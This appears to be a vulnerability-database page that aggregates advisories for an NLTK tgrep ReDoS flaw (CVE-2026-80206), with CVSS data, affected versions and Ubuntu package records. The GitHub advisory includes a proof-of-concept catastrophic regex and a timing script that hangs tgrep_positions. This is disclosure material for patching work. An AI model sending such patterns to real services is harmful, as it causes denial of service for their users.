Vulnerability-Lookup

CVE-2026-80206 (GCVE-0-2026-80206)

Vulnerability from cvelistv5 – Published: 2026-08-26 10:28 – Updated: 2026-08-26 12:52

Title

NLTK 3.10.2 Regular Expression Denial of Service via tgrep

Summary

NLTK before 3.10.3 contains a regular expression denial of service (ReDoS) vulnerability in the tgrep module. The _tgrep_node_action function compiles user-supplied regular expressions embedded in /regex/ pattern nodes and executes them via re.search against tree node labels without any validation or timeout. An attacker who controls the tgrep pattern (e.g., via tgrep_positions() or tgrep_compile() exposed to external input) can supply a pattern that triggers catastrophic backtracking, causing indefinite CPU saturation that blocks the Python process.

Severity

8.2 (High)


                        
                          CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

5.9 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-26 12:52 UTC

CWE

CWE-1333 - Inefficient Regular Expression Complexity

Assigner

VulnCheck mitre root

References

2 references

URL	Tags
https://github.com/nltk/nltk/security/advisories/…	vendor-advisory
https://www.vulncheck.com/advisories/nltk-3.10.2-…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version	CPE status
nltk	nltk	Affected: 0 , < 3.10.3 (semver) Unaffected: 3.10.3 (semver) cpe:2.3:a:nltk:nltk::::::::

Date Public

2026-08-12 00:00

Credits

infycore ekaf agent-kira

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-80206

Vulnerability from fkie_nvd - Published: 2026-08-26 11:16 - Updated: 2026-09-01 20:07

Severity

5.9 (Medium) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

References

URL	Tags
disclosure@vulncheck.com	https://github.com/nltk/nltk/security/advisories/GHSA-w3v8-gmh9-3wv7	Exploit, Vendor Advisory
disclosure@vulncheck.com	https://www.vulncheck.com/advisories/nltk-3.10.2-regular-expression-denial-of-service-via-tgrep	Third Party Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/nltk/nltk/security/advisories/GHSA-w3v8-gmh9-3wv7	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	nltk	nltk	*

JSON

To clipboard

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          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-80206",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-26T12:52:03.078501Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-26T11:16:40.103",
  "references": [
    {
      "source": "disclosure@vulncheck.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-w3v8-gmh9-3wv7"
    },
    {
      "source": "disclosure@vulncheck.com",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://www.vulncheck.com/advisories/nltk-3.10.2-regular-expression-denial-of-service-via-tgrep"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-w3v8-gmh9-3wv7"
    }
  ],
  "sourceIdentifier": "disclosure@vulncheck.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-1333"
        }
      ],
      "source": "disclosure@vulncheck.com",
      "type": "Secondary"
    }
  ]
}

GHSA-VF76-F5CP-9846

Vulnerability from github – Published: 2026-08-31 21:31 – Updated: 2026-09-02 14:49

Withdrawn 2026-09-02

Summary

Duplicate Advisory: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions

Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-w3v8-gmh9-3wv7. This link is maintained to preserve external references.

Original Description

Severity

5.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

8.2 (High)


                  
                    CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.10.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-02T14:49:37Z",
    "nvd_published_at": "2026-08-26T11:16:40Z",
    "severity": "HIGH"
  },
  "details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-w3v8-gmh9-3wv7. This link is maintained to preserve external references.\n\n## Original Description\nNLTK before 3.10.3 contains a regular expression denial of service (ReDoS) vulnerability in the tgrep module. The _tgrep_node_action function compiles user-supplied regular expressions embedded in /regex/ pattern nodes and executes them via re.search against tree node labels without any validation or timeout. An attacker who controls the tgrep pattern (e.g., via tgrep_positions() or tgrep_compile() exposed to external input) can supply a pattern that triggers catastrophic backtracking, causing indefinite CPU saturation that blocks the Python process.",
  "id": "GHSA-vf76-f5cp-9846",
  "modified": "2026-09-02T14:49:37Z",
  "published": "2026-08-31T21:31:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-w3v8-gmh9-3wv7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-80206"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nltk-3.10.2-regular-expression-denial-of-service-via-tgrep"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions",
  "withdrawn": "2026-09-02T14:49:37Z"
}

GHSA-W3V8-GMH9-3WV7

Vulnerability from github – Published: 2026-09-08 20:28 – Updated: 2026-09-08 20:28

Summary

NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions

Details

Summary

The NLTK tgrep module accepts user-supplied regular expressions and passes them to the Python re engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the tgrep API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.

Affected Code

nltk/tgrep.py — _tgrep_node_action() (around line 320)

When a tgrep pattern contains a /regex/ node, _tgrep_node_action compiles the embedded regex literal directly with no validation:

def _tgrep_node_action(_s, _l, tokens):
    ...
    elif tokens[0].startswith("/"):
        assert tokens[0].endswith("/")
        node_lit = tokens[0][1:-1]
        return (
            lambda r: lambda n, m=None, l=None: r.search(
                _tgrep_node_literal_value(n)
            )
        )(re.compile(node_lit))  # User regex compiled and executed with no timeout

The compiled regex is applied against every matching tree node label via r.search(...). A caller reaching this path via tgrep_positions() or tgrep_compile() controls node_lit entirely.

Proof of Concept

import nltk
from nltk.tgrep import tgrep_positions

# Root node label is 25 'a' characters.
# tgrep /regex/ branch calls re.compile("((a+)+)b").search("aaa...a")
# No 'b' is present — exponential backtracking occurs.
tree = nltk.Tree.fromstring("(" + "a" * 25 + " (NP (DT the)))")
tgrep_positions(r"/((a+)+)b/", [tree])   # Never returns

Working Poc

The following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgrep_positions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely.

import nltk
from nltk.tgrep import tgrep_positions
import time

def test_n(n):
    tree = nltk.Tree.fromstring("(" + "a" * n + " (NP (DT the)))")
    pattern = r"/((a+)+)b/"
    start = time.perf_counter()
    list(tgrep_positions(pattern, [tree]))
    return time.perf_counter() - start

if __name__ == "__main__":
    # Adjust the range if needed – these values complete quickly
    n_values = [18, 20, 22, 24, 26, 28]
    print(f"Testing n = {n_values}\n")

    times = []
    for n in n_values:
        t = test_n(n)
        times.append((n, t))
        print(f"n={n:2d} done", flush=True)

    print("\n--- Increase factors (per step in n) ---")
    factors = []
    for i in range(1, len(times)):
        prev_n, prev_t = times[i-1]
        curr_n, curr_t = times[i]
        factor = curr_t / prev_t
        factors.append((curr_n, factor))
        print(f"n={curr_n:2d} : factor = {factor:.2f}x  (vs n={prev_n})")

    avg = sum(f for _, f in factors) / len(factors)
    print(f"\nAverage factor: {avg:.2f}x")
    print("\n✅ Confirmed: exponential growth (catastrophic backtracking).")
    print("   Larger n (≥ 35) will hang indefinitely.")

When run, the output shows a clear exponential increase (factor > 3.0 per +2 in n), proving the vulnerability.

Impact

In environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.

Remediation

This issue remains unfixed in versions <= 3.10.2. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.

Credit

Tool: Kira by Offgrid Security

Severity

8.2 (High)


                  
                    CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-80206"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T20:28:28Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThe NLTK `tgrep` module accepts user-supplied regular expressions and passes them to the Python `re` engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the `tgrep` API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.\n\n### Affected Code\n`nltk/tgrep.py` \u2014 `_tgrep_node_action()` (around line 320)\n\nWhen a tgrep pattern contains a `/regex/` node, `_tgrep_node_action` compiles the embedded regex literal directly with no validation:\n\n```python\ndef _tgrep_node_action(_s, _l, tokens):\n    ...\n    elif tokens[0].startswith(\"/\"):\n        assert tokens[0].endswith(\"/\")\n        node_lit = tokens[0][1:-1]\n        return (\n            lambda r: lambda n, m=None, l=None: r.search(\n                _tgrep_node_literal_value(n)\n            )\n        )(re.compile(node_lit))  # User regex compiled and executed with no timeout\n```\nThe compiled regex is applied against every matching tree node label via `r.search(...)`. A caller reaching this path via `tgrep_positions()` or `tgrep_compile()` controls `node_lit` entirely.\n\n### Proof of Concept\n```python\nimport nltk\nfrom nltk.tgrep import tgrep_positions\n\n# Root node label is 25 \u0027a\u0027 characters.\n# tgrep /regex/ branch calls re.compile(\"((a+)+)b\").search(\"aaa...a\")\n# No \u0027b\u0027 is present \u2014 exponential backtracking occurs.\ntree = nltk.Tree.fromstring(\"(\" + \"a\" * 25 + \" (NP (DT the)))\")\ntgrep_positions(r\"/((a+)+)b/\", [tree])   # Never returns\n```\n\n### Working Poc\n\nThe following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgrep_positions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n \u2265 35, the function will hang indefinitely.\n\n```python\nimport nltk\nfrom nltk.tgrep import tgrep_positions\nimport time\n\ndef test_n(n):\n    tree = nltk.Tree.fromstring(\"(\" + \"a\" * n + \" (NP (DT the)))\")\n    pattern = r\"/((a+)+)b/\"\n    start = time.perf_counter()\n    list(tgrep_positions(pattern, [tree]))\n    return time.perf_counter() - start\n\nif __name__ == \"__main__\":\n    # Adjust the range if needed \u2013 these values complete quickly\n    n_values = [18, 20, 22, 24, 26, 28]\n    print(f\"Testing n = {n_values}\\n\")\n\n    times = []\n    for n in n_values:\n        t = test_n(n)\n        times.append((n, t))\n        print(f\"n={n:2d} done\", flush=True)\n\n    print(\"\\n--- Increase factors (per step in n) ---\")\n    factors = []\n    for i in range(1, len(times)):\n        prev_n, prev_t = times[i-1]\n        curr_n, curr_t = times[i]\n        factor = curr_t / prev_t\n        factors.append((curr_n, factor))\n        print(f\"n={curr_n:2d} : factor = {factor:.2f}x  (vs n={prev_n})\")\n\n    avg = sum(f for _, f in factors) / len(factors)\n    print(f\"\\nAverage factor: {avg:.2f}x\")\n    print(\"\\n\u2705 Confirmed: exponential growth (catastrophic backtracking).\")\n    print(\"   Larger n (\u2265 35) will hang indefinitely.\")\n```\n\nWhen run, the output shows a clear exponential increase (factor \u003e 3.0 per +2 in n), proving the vulnerability.\n\n\n### Impact\nIn environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.\n\n### Remediation\nThis issue remains unfixed in versions `\u003c= 3.10.2`. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.\n\n### Credit\nTool: Kira by [Offgrid Security](https://www.offgridsec.com)",
  "id": "GHSA-w3v8-gmh9-3wv7",
  "modified": "2026-09-08T20:28:28Z",
  "published": "2026-09-08T20:28:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-w3v8-gmh9-3wv7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-80206"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/commit/0072ea2fb8be22e038a36e887b7061bb6b9339d9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nltk/nltk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/releases/tag/v3.10.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3751.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nltk-3.10.2-regular-expression-denial-of-service-via-tgrep"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions"
}

PYSEC-2026-3751

Vulnerability from pysec - Published: 2026-08-26 11:16 - Updated: 2026-09-02 08:34

Details

Severity

8.2 (High)


                  
                    CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Impacted products

Name	purl
nltk	pkg:pypi/nltk

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {},
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk",
        "purl": "pkg:pypi/nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.8",
        "0.9",
        "0.9.3",
        "0.9.4",
        "0.9.5",
        "0.9.6",
        "0.9.7",
        "0.9.8",
        "0.9.9",
        "2.0.1",
        "2.0.1rc1",
        "2.0.1rc2-git",
        "2.0.1rc3",
        "2.0.1rc4",
        "2.0.2",
        "2.0.3",
        "2.0.4",
        "2.0.5",
        "2.0b4",
        "2.0b5",
        "2.0b6",
        "2.0b7",
        "2.0b8",
        "2.0b9",
        "3.0.0",
        "3.0.0b1",
        "3.0.0b2",
        "3.0.1",
        "3.0.2",
        "3.0.3",
        "3.0.4",
        "3.0.5",
        "3.1",
        "3.10.0",
        "3.10.1",
        "3.10.2",
        "3.2",
        "3.2.1",
        "3.2.2",
        "3.2.3",
        "3.2.4",
        "3.2.5",
        "3.3",
        "3.4",
        "3.4.1",
        "3.4.2",
        "3.4.3",
        "3.4.4",
        "3.4.5",
        "3.5",
        "3.5b1",
        "3.6",
        "3.6.1",
        "3.6.2",
        "3.6.3",
        "3.6.4",
        "3.6.5",
        "3.6.6",
        "3.6.7",
        "3.7",
        "3.8",
        "3.8.1",
        "3.9",
        "3.9.1",
        "3.9.2",
        "3.9.3",
        "3.9.4",
        "3.9b1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-80206",
    "GHSA-w3v8-gmh9-3wv7"
  ],
  "details": "NLTK before 3.10.3 contains a regular expression denial of service (ReDoS) vulnerability in the tgrep module. The _tgrep_node_action function compiles user-supplied regular expressions embedded in /regex/ pattern nodes and executes them via re.search against tree node labels without any validation or timeout. An attacker who controls the tgrep pattern (e.g., via tgrep_positions() or tgrep_compile() exposed to external input) can supply a pattern that triggers catastrophic backtracking, causing indefinite CPU saturation that blocks the Python process.",
  "id": "PYSEC-2026-3751",
  "modified": "2026-09-02T08:34:35.456800Z",
  "published": "2026-08-26T11:16:40.103Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://www.vulncheck.com/advisories/nltk-3.10.2-regular-expression-denial-of-service-via-tgrep"
    },
    {
      "type": "EVIDENCE",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-w3v8-gmh9-3wv7"
    }
  ],
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

ubuntu-cve-2026-80206

Vulnerability from osv_ubuntu

Published

2026-08-26 11:16

Modified

2026-09-02 16:27

Summary

Details

Severity

5.9 (Medium)


                    
                      CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

8.2 (High)


                    
                      CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

N/A (UNKNOWN)


                    
                      medium

References

URL

Type

	https://ubuntu.com/security/CVE-2026-80206	REPORT
	https://www.cve.org/CVERecord?id=CVE-2026-80206	REPORT
	https://github.com/nltk/nltk/security/advisories/…	REPORT

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python-nltk",
            "binary_version": "2.0~b9-0ubuntu4.1~esm6"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:14.04:LTS",
        "name": "nltk",
        "purl": "pkg:deb/ubuntu/nltk@2.0~b9-0ubuntu4.1~esm6?arch=source\u0026distro=esm-infra-legacy/trusty"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.0~b9-0ubuntu4",
        "2.0~b9-0ubuntu4.1~esm2",
        "2.0~b9-0ubuntu4.1~esm4",
        "2.0~b9-0ubuntu4.1~esm5",
        "2.0~b9-0ubuntu4.1~esm6"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python-nltk",
            "binary_version": "3.1-1ubuntu0.1+esm4"
          },
          {
            "binary_name": "python3-nltk",
            "binary_version": "3.1-1ubuntu0.1+esm4"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:16.04:LTS",
        "name": "nltk",
        "purl": "pkg:deb/ubuntu/nltk@3.1-1ubuntu0.1+esm4?arch=source\u0026distro=esm-apps-legacy/xenial"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.0.4-1",
        "3.0.5-1",
        "3.1-1",
        "3.1-1ubuntu0.1",
        "3.1-1ubuntu0.1+esm1",
        "3.1-1ubuntu0.1+esm2",
        "3.1-1ubuntu0.1+esm3",
        "3.1-1ubuntu0.1+esm4"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python-nltk",
            "binary_version": "3.2.5-1ubuntu0.1+esm4"
          },
          {
            "binary_name": "python3-nltk",
            "binary_version": "3.2.5-1ubuntu0.1+esm4"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:18.04:LTS",
        "name": "nltk",
        "purl": "pkg:deb/ubuntu/nltk@3.2.5-1ubuntu0.1+esm4?arch=source\u0026distro=esm-apps/bionic"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.2.4-1",
        "3.2.5-1",
        "3.2.5-1ubuntu0.1",
        "3.2.5-1ubuntu0.1+esm1",
        "3.2.5-1ubuntu0.1+esm2",
        "3.2.5-1ubuntu0.1+esm3",
        "3.2.5-1ubuntu0.1+esm4"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python3-nltk",
            "binary_version": "3.4.5-2ubuntu0.1~esm4"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:20.04:LTS",
        "name": "nltk",
        "purl": "pkg:deb/ubuntu/nltk@3.4.5-2ubuntu0.1~esm4?arch=source\u0026distro=esm-apps/focal"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.4.5-1",
        "3.4.5-2",
        "3.4.5-2ubuntu0.1~esm1",
        "3.4.5-2ubuntu0.1~esm2",
        "3.4.5-2ubuntu0.1~esm3",
        "3.4.5-2ubuntu0.1~esm4"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python3-nltk",
            "binary_version": "3.7-1ubuntu0.1~esm2"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:22.04:LTS",
        "name": "nltk",
        "purl": "pkg:deb/ubuntu/nltk@3.7-1ubuntu0.1~esm2?arch=source\u0026distro=esm-apps/jammy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.5-1",
        "3.6.5-1",
        "3.6.7-1",
        "3.7-1",
        "3.7-1ubuntu0.1~esm1",
        "3.7-1ubuntu0.1~esm2"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python3-nltk",
            "binary_version": "3.8.1-1ubuntu0.1~esm2"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:24.04:LTS",
        "name": "nltk",
        "purl": "pkg:deb/ubuntu/nltk@3.8.1-1ubuntu0.1~esm2?arch=source\u0026distro=esm-apps/noble"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.8.1-1",
        "3.8.1-1ubuntu0.1~esm1",
        "3.8.1-1ubuntu0.1~esm2"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python3-nltk",
            "binary_version": "3.9.2-1ubuntu0.1~esm2"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:26.04:LTS",
        "name": "nltk",
        "purl": "pkg:deb/ubuntu/nltk@3.9.2-1ubuntu0.1~esm2?arch=source\u0026distro=esm-apps/resolute"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.9.1-2",
        "3.9.1-2build1",
        "3.9.2-1",
        "3.9.2-1ubuntu0.1~esm1",
        "3.9.2-1ubuntu0.1~esm2"
      ]
    }
  ],
  "aliases": [],
  "details": "NLTK before 3.10.3 contains a regular expression denial of service (ReDoS) vulnerability in the tgrep module. The _tgrep_node_action function compiles user-supplied regular expressions embedded in /regex/ pattern nodes and executes them via re.search against tree node labels without any validation or timeout. An attacker who controls the tgrep pattern (e.g., via tgrep_positions() or tgrep_compile() exposed to external input) can supply a pattern that triggers catastrophic backtracking, causing indefinite CPU saturation that blocks the Python process.",
  "id": "UBUNTU-CVE-2026-80206",
  "modified": "2026-09-02T16:27:48Z",
  "published": "2026-08-26T11:16:00Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://ubuntu.com/security/CVE-2026-80206"
    },
    {
      "type": "REPORT",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-80206"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-w3v8-gmh9-3wv7"
    }
  ],
  "related": [],
  "schema_version": "1.7.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    },
    {
      "score": "medium",
      "type": "Ubuntu"
    }
  ],
  "upstream": [
    "CVE-2026-80206"
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-80206 (GCVE-0-2026-80206)

FKIE_CVE-2026-80206

GHSA-VF76-F5CP-9846

Duplicate Advisory

Original Description

GHSA-W3V8-GMH9-3WV7

Summary

Affected Code

Proof of Concept

Working Poc

Impact

Remediation

Credit

PYSEC-2026-3751

ubuntu-cve-2026-80206

Vulnerability from osv_ubuntu

Tags

Sightings

Nomenclature

Related by attack behaviour